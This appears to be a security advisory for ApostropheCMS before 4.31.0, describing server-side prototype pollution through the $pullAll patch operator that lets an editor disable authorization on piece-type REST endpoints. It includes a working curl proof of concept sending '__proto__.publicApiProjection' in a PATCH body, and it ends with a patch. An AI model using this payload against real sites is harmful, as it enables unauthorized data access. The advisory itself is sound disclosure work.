| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| apostrophe | < 4.31.0 | 4.31.0 |
apos.util.set() traverses dot-notation paths without sanitizing __proto__, allowing an authenticated editor to write arbitrary values to Object.prototype via the $pullAll patch operator.
A confirmed gadget in publicApiCheck() causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.
apos.util.set() (modules/@apostrophecms/util/index.js ~line 800)The function splits a dot-notation path and traverses properties without rejecting __proto__, constructor, or prototype:
set(o, path, v) {
path = path.split('.');
for (i = 0; i < path.length - 1; i++) {
o = o[path[i]]; // when path[i] === '__proto__', o becomes Object.prototype
}
o[path[i]] = v; // mutates Object.prototype
}
implementPatchOperators() (modules/@apostrophecms/schema/index.js ~line 1737)User-controlled keys from the $pullAll operator are passed directly to apos.util.set():
_.each(patch.$pullAll, function(val, key) {
cloneOriginalBase(key); // uses _.has (hasOwnProperty)
self.apos.util.set(patch, key, ...); // key is fully attacker-controlled
});
cloneOriginalBase() does not sanitize __proto__ because _.has() performs an own-property check. Since __proto__ is inherited rather than an own property, the clone step is skipped and execution falls through to apos.util.set().
The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.
publicApiCheck() (modules/@apostrophecms/piece-type/index.js ~line 1148)publicApiCheck(req) {
if (!self.options.publicApiProjection) {
if (!self.canAccessApi(req)) {
throw self.apos.error('notfound');
}
}
}
Once Object.prototype.publicApiProjection is set to any truthy value (for example []), every module instance inherits it.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíBecause JavaScript property lookup resolves inherited properties from Object.prototype, the condition:
!self.options.publicApiProjection
evaluates to false for all modules.
As a result, the authorization check is skipped for every subsequent request handled by the process.
Environment: ApostropheCMS v4.30.0, Node.js, MongoDB
Prerequisites: Editor-level credentials
curl -s http://localhost:3000/api/v1/@apostrophecms/user
Response:
{"name":"notfound","data":{},"message":"notfound"}
TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-d '{"username":"editor","password":"..."}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
Object.prototype via $pullAllcurl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "Cookie: apos-testapp.csrf=csrf" \
-H "X-XSRF-TOKEN: csrf" \
-d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'
Response:
HTTP/1.1 200 OK
curl -s http://localhost:3000/api/v1/@apostrophecms/user
Response:
{"pages":0,"currentPage":1,"results":[]}
The endpoint now returns a valid paginated response instead of notfound.
No credentials are supplied.
Execution passes publicApiCheck() and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.
The pollution persists until the Node.js process is restarted.
Server-Side Prototype Pollution leading to Authorization Bypass (CWE-1321)
Any ApostropheCMS installation where at least one editor-level account exists.
This is the default configuration for multi-user CMS deployments.
A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.
All subsequent unauthenticated requests to piece-type REST API endpoints bypass publicApiCheck().
Verified affected endpoints include:
@apostrophecms/user@apostrophecms/globalBased on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.
The bypass affects every unauthenticated visitor until the server is restarted.
Reject dangerous prototype-related path segments before traversal:
if (
p === '__proto__' ||
p === 'constructor' ||
p === 'prototype'
) {
return;
}
Apply the same validation both:
apos.util.set()apos.util.set() from implementPatchOperators()